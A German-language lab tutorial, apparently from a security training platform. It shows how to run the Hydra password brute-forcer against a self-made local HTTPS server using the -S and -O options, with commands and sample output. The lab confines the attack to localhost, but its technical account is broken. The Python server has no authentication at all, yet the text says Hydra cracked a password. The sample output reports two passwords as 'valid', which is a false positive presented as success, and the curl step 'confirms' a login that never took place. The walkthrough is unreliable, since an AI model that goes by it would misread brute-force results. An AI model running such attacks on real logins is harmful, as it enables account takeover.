Angriff auf SSL-fähige Dienste mit Hydra

Einführung

In diesem Lab werden wir untersuchen, wie man SSL-fähige Dienste mit Hydra angreifen kann. Das Lab konzentriert sich darauf, die Fähigkeiten von Hydra zu testen, Passwörter auf Diensten, die mit SSL/TLS gesichert sind, zu knacken.

Zunächst werden wir einen lokalen HTTPS-Server mit Python und openssl einrichten, um ein selbstsigniertes Zertifikat und einen Schlüssel zu generieren und so eine sichere Umgebung zu simulieren. Dann werden wir Hydra mit der Option -S ausführen, um die SSL-Unterstützung zu aktivieren und versuchen, das Passwort zu knacken. Wir werden auch ältere SSL-Protokolle mit der Option -O testen. Abschließend werden wir den Erfolg des SSL-Angriffs bestätigen.

Skills Graph

Einrichten eines lokalen HTTPS-Servers

In diesem Schritt werden wir einen einfachen HTTPS-Server mit Python's eingebautem http.server-Modul einrichten, wobei SSL/TLS aktiviert ist. Dies ermöglicht es uns, eine sichere Serverumgebung zum Testen der SSL-Fähigkeiten von Hydra zu simulieren.

Zunächst müssen wir ein selbstsigniertes Zertifikat und einen Schlüssel generieren. Dieses Zertifikat wird zur Verschlüsselung der Kommunikation zwischen dem Client (Hydra) und dem Server verwendet. Öffnen Sie Ihr Terminal und navigieren Sie in das Verzeichnis ~/project:

cd ~/project

Nun verwenden Sie den openssl-Befehl, um das Zertifikat und den Schlüssel zu generieren:

openssl req -new -x509 -keyout key.pem -out cert.pem -days 365 -nodes

Sie werden aufgefordert, einige Informationen über das Zertifikat einzugeben. Sie können die meisten Felder leer lassen, indem Sie die Eingabetaste drücken. Ein Common Name (Allgemeiner Name) ist erforderlich, Sie können localhost eingeben.

Generating a RSA private key
+++++
writing new private key to 'key.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:localhost
Email Address []:

Dieser Befehl erstellt zwei Dateien: key.pem (der private Schlüssel) und cert.pem (das Zertifikat).

Nun erstellen wir ein Python-Skript für unseren HTTPS-Server. Wir verwenden den Texteditor nano, um das Skript zu erstellen und zu bearbeiten:

nano https_server.py

Kopieren und fügen Sie den folgenden Code in den Editor ein:

import http.server
import ssl
import os

## Create the HTTP server
httpd = http.server.HTTPServer(('127.0.0.1', 443), http.server.SimpleHTTPRequestHandler)

## Create SSL context
ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ssl_context.load_cert_chain(certfile='cert.pem', keyfile='key.pem')

## Wrap the socket with SSL
httpd.socket = ssl_context.wrap_socket(httpd.socket, server_side=True)

print("Serving HTTPS on 127.0.0.1 port 443 (https://127.0.0.1:443/) ...")
httpd.serve_forever()

Um die Datei in nano zu speichern:

1. Drücken Sie Ctrl + X, um zu beenden.
2. Drücken Sie Y, um das Speichern zu bestätigen.
3. Drücken Sie die Eingabetaste, um den Dateinamen zu bestätigen.

Nun können Sie den HTTPS-Server mit folgendem Befehl starten:

python3 https_server.py

Sie sollten eine Ausgabe ähnlich der folgenden sehen:

Serving HTTPS on 127.0.0.1 port 443 (https://127.0.0.1:443/) ...

Lassen Sie dieses Terminalfenster geöffnet. Dies ist Ihr HTTPS-Server. In den nächsten Schritten werden wir versuchen, die Authentifizierung mit Hydra zu knacken.

WICHTIG: Denken Sie daran, das ursprüngliche Terminalfenster mit dem laufenden HTTPS-Server geöffnet zu lassen. Schließen Sie es nicht, da wir es in den nächsten Schritten benötigen.

Hydra mit -S für SSL ausführen

In diesem Schritt werden wir Hydra verwenden, um einen Brute-Force-Angriff auf den HTTPS-Server durchzuführen, den wir im vorherigen Schritt eingerichtet haben. Die Option -S teilt Hydra mit, SSL/TLS beim Verbinden mit dem Zielserver zu verwenden.

Zunächst erstellen wir eine einfache Liste von Benutzernamen und Passwörtern. Erstellen Sie eine Datei namens users.txt im Verzeichnis ~/project mit folgendem Inhalt:

test

Als Nächstes erstellen Sie eine Datei namens passwords.txt im Verzeichnis ~/project mit folgendem Inhalt:

password
test
123456

Sie können echo verwenden, um diese Dateien zu erstellen und zu bearbeiten:

echo "test" > ~/project/users.txt
echo "password" > ~/project/passwords.txt
echo "test" >> ~/project/users.txt
echo "123456" >> ~/project/passwords.txt

Jetzt können wir Hydra mit der Option -S ausführen, um unseren HTTPS-Server anzugreifen. Öffnen Sie ein neues Terminalfenster (lassen Sie den HTTPS-Server im anderen Fenster laufen) und navigieren Sie in das Verzeichnis ~/project:

cd ~/project

Führen Sie den folgenden Hydra-Befehl aus:

hydra -l test -P passwords.txt 127.0.0.1 https-get / -S -vV

Lassen Sie uns diesen Befehl analysieren:

• hydra: Das Hydra-Befehlszeilentool.
• -l test: Gibt den zu verwendenden Benutzernamen an. In diesem Fall verwenden wir den Benutzernamen test.
• -P passwords.txt: Gibt die Passwortlisten-Datei an. Wir verwenden die von uns erstellte Datei passwords.txt.
• 127.0.0.1: Die Ziel-IP-Adresse. Dies ist die Loopback-Adresse, die auf unseren lokalen Rechner verweist.
• https-get /: Gibt den anzugreifenden Dienst (HTTPS) und den Pfad der Anfrage (/) an. https-get ist ein Modul, das HTTP GET-Anfragen über SSL/TLS durchführt.
• -S: Teilt Hydra mit, SSL/TLS beim Verbinden mit dem Zielserver zu verwenden. Dies ist entscheidend für den Angriff auf HTTPS-Dienste.
• -vV: Aktiviert den ausführlichen Modus, der die Anmeldeversuche und gefundene Zugangsdaten anzeigt.

Hydra wird nun versuchen, den HTTPS-Server mit der angegebenen Liste von Benutzernamen und Passwörtern per Brute-Force zu knacken. Es wird jedes Passwort in der Datei passwords.txt für den Benutzernamen test ausprobieren.

Sie sollten eine Ausgabe ähnlich der folgenden sehen (die genaue Ausgabe kann variieren):

Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-02 14:10:55
[DATA] max 2 tasks per 1 server, overall 2 tasks, 2 login tries (l:1/p:2), ~1 try per task
[DATA] attacking http-gets://127.0.0.1:443/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 127.0.0.1 - login "test" - pass "password" - 1 of 2 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test" - pass "123456" - 2 of 2 [child 1] (0/0)
[443][http-get] host: 127.0.0.1   login: test   password: password
[STATUS] attack finished for 127.0.0.1 (waiting for children to complete tests)
[443][http-get] host: 127.0.0.1   login: test   password: 123456
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-04-02 14:10:56

Wenn der Angriff erfolgreich ist, wird Hydra den korrekten Benutzernamen und das Passwort anzeigen. In diesem Beispiel ist der Benutzername test und das Passwort password.

Ältere SSL-Versionen mit -O testen

In diesem Schritt werden wir untersuchen, wie man die -O-Option von Hydra verwendet, um ältere, möglicherweise anfällige SSL/TLS-Protokolle zu testen. Die -O-Option zwingt Hydra, ältere SSL-Versionen zu verwenden, die möglicherweise anfällig für verschiedene Angriffe wie POODLE oder BEAST sind.

Bevor Sie fortfahren, ist es wichtig zu verstehen, dass die Verwendung älterer SSL/TLS-Protokolle aufgrund von Sicherheitslücken im Allgemeinen nicht empfohlen wird. Dieser Schritt dient nur zu Bildungszwecken, um zu zeigen, wie Hydra eingesetzt werden kann, um Systeme zu identifizieren, die diese veralteten Protokolle noch unterstützen.

Um die -O-Option zu verwenden, fügen wir sie einfach unserem vorherigen Hydra-Befehl hinzu. Stellen Sie sicher, dass der HTTPS-Server aus Schritt 1 noch läuft. Öffnen Sie ein neues Terminalfenster (lassen Sie den HTTPS-Server im anderen Fenster laufen) und navigieren Sie in das Verzeichnis ~/project:

cd ~/project

Jetzt führen Sie den folgenden Hydra-Befehl aus:

hydra -l test -P passwords.txt 127.0.0.1 https-get / -S -O -vV

Der einzige Unterschied zwischen diesem Befehl und dem aus Schritt 2 ist die Hinzufügung der -O-Option.

• -O: Zwingt Hydra, ältere SSL-Versionen zu verwenden.

Hydra wird nun versuchen, den HTTPS-Server mit älteren SSL/TLS-Protokollen per Brute-Force zu knacken. Die Ausgabe wird ähnlich wie im vorherigen Schritt sein, aber Sie könnten Warnungen oder Fehler in Bezug auf die älteren SSL-Versionen sehen.

Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-02 14:13:19
[DATA] max 2 tasks per 1 server, overall 2 tasks, 2 login tries (l:1/p:2), ~1 try per task
[DATA] attacking http-gets://127.0.0.1:443/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 127.0.0.1 - login "test" - pass "password" - 1 of 2 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test" - pass "123456" - 2 of 2 [child 1] (0/0)
[443][http-get] host: 127.0.0.1   login: test   password: password
[STATUS] attack finished for 127.0.0.1 (waiting for children to complete tests)
[443][http-get] host: 127.0.0.1   login: test   password: 123456
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-04-02 14:13:19

Wenn der Angriff erfolgreich ist, wird Hydra den korrekten Benutzernamen und das Passwort anzeigen, genau wie im vorherigen Schritt. Der wichtigste Aspekt hier ist, dass uns die -O-Option erlaubt hat, die Kompatibilität des Servers mit älteren SSL/TLS-Protokollen zu testen.

Es ist möglich, dass der Server die Verbindung ablehnt, wenn er die älteren Protokolle nicht unterstützt. In diesem Fall findet Hydra möglicherweise nicht das Passwort. Das Ziel dieses Schritts ist jedoch, die Verwendung der -O-Option zu demonstrieren, nicht unbedingt, einen erfolgreichen Login zu gewährleisten.

Bestätigen des Erfolgs des SSL-Angriffs

In diesem Schritt werden wir den Erfolg unseres Hydra-Angriffs bestätigen, indem wir versuchen, den HTTPS-Server mit den von uns gefundenen Zugangsdaten zu erreichen. Dies wird zeigen, dass Hydra tatsächlich in der Lage war, den Server per Brute-Force zu knacken.

Stellen Sie zunächst sicher, dass der HTTPS-Server aus Schritt 1 noch läuft.

Wir werden den curl-Befehl verwenden, um auf den Server zuzugreifen und zu überprüfen, ob wir uns mit dem richtigen Benutzernamen und Passwort authentifizieren können.

Öffnen Sie ein neues Terminalfenster (lassen Sie den HTTPS-Server im anderen Fenster laufen) und navigieren Sie in das Verzeichnis ~/project:

cd ~/project

Jetzt führen Sie den folgenden curl-Befehl aus:

curl -k -u test:password https://127.0.0.1

Lassen Sie uns diesen Befehl analysieren:

• curl: Das Befehlszeilentool zum Übertragen von Daten über URLs.
• -k: Ermöglicht es curl, auch bei Serververbindungen, die normalerweise als unsicher angesehen werden, fortzufahren und zu funktionieren. Da wir ein selbstsigniertes Zertifikat verwenden, würde curl normalerweise die Verbindung ablehnen.
• -u test:password: Gibt den Benutzernamen und das Passwort für die Authentifizierung an. Wir verwenden die Zugangsdaten test:password, die wir in den vorherigen Schritten gefunden haben.
• https://127.0.0.1: Die URL des HTTPS-Servers.

Wenn die Authentifizierung erfolgreich ist, wird curl den Inhalt des Root-Verzeichnisses des Servers anzeigen. Da wir das http.server-Modul von Python verwenden, wird es wahrscheinlich eine Verzeichnisauflistung des ~/project-Verzeichnisses anzeigen.

Sie sollten eine Ausgabe ähnlich der folgenden sehen (die genaue Ausgabe kann je nach den Dateien in Ihrem ~/project-Verzeichnis variieren):

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>Directory listing for /</title>
  </head>
  <body>
    <h1>Directory listing for /</h1>
    <hr />
    <ul>
      <li><a href="cert.pem">cert.pem</a></li>
      <li><a href="https_server.py">https_server.py</a></li>
      <li><a href="key.pem">key.pem</a></li>
      <li><a href="passwords.txt">passwords.txt</a></li>
      <li><a href="server.pem">server.pem</a></li>
      <li><a href="users.txt">users.txt</a></li>
    </ul>
    <hr />
  </body>
</html>

Dies bestätigt, dass wir es geschafft haben, uns am HTTPS-Server mit den von Hydra gefundenen Zugangsdaten erfolgreich zu authentifizieren. Dies zeigt die Wirksamkeit von Hydra beim Brute-Force-Knacken schwacher Passwörter, auch über SSL/TLS-Verbindungen hinweg.

Wenn Sie anstelle der Verzeichnisauflistung eine Fehlermeldung sehen, überprüfen Sie noch einmal, ob der HTTPS-Server noch läuft und ob Sie den richtigen Benutzernamen und das richtige Passwort verwenden.

Zusammenfassung

In diesem Lab haben wir gelernt, wie man mit Hydra SSL-fähige Dienste angreift. Der erste Schritt bestand darin, einen lokalen HTTPS-Server mit dem http.server-Modul von Python einzurichten und ein selbstsigniertes Zertifikat und einen Schlüssel mit openssl zu generieren, um eine sichere Umgebung zu simulieren.

Anschließend haben wir die Fähigkeiten von Hydra erkundet, indem wir es mit der -S-Option ausgeführt haben, um SSL-Verbindungen zu ermöglichen, und mit der -O-Option, um ältere SSL-Protokolle zu testen. Schließlich haben wir den Erfolg des SSL-Angriffs bestätigt, was die Fähigkeit von Hydra zeigt, Zugangsdaten über SSL/TLS per Brute-Force zu knacken.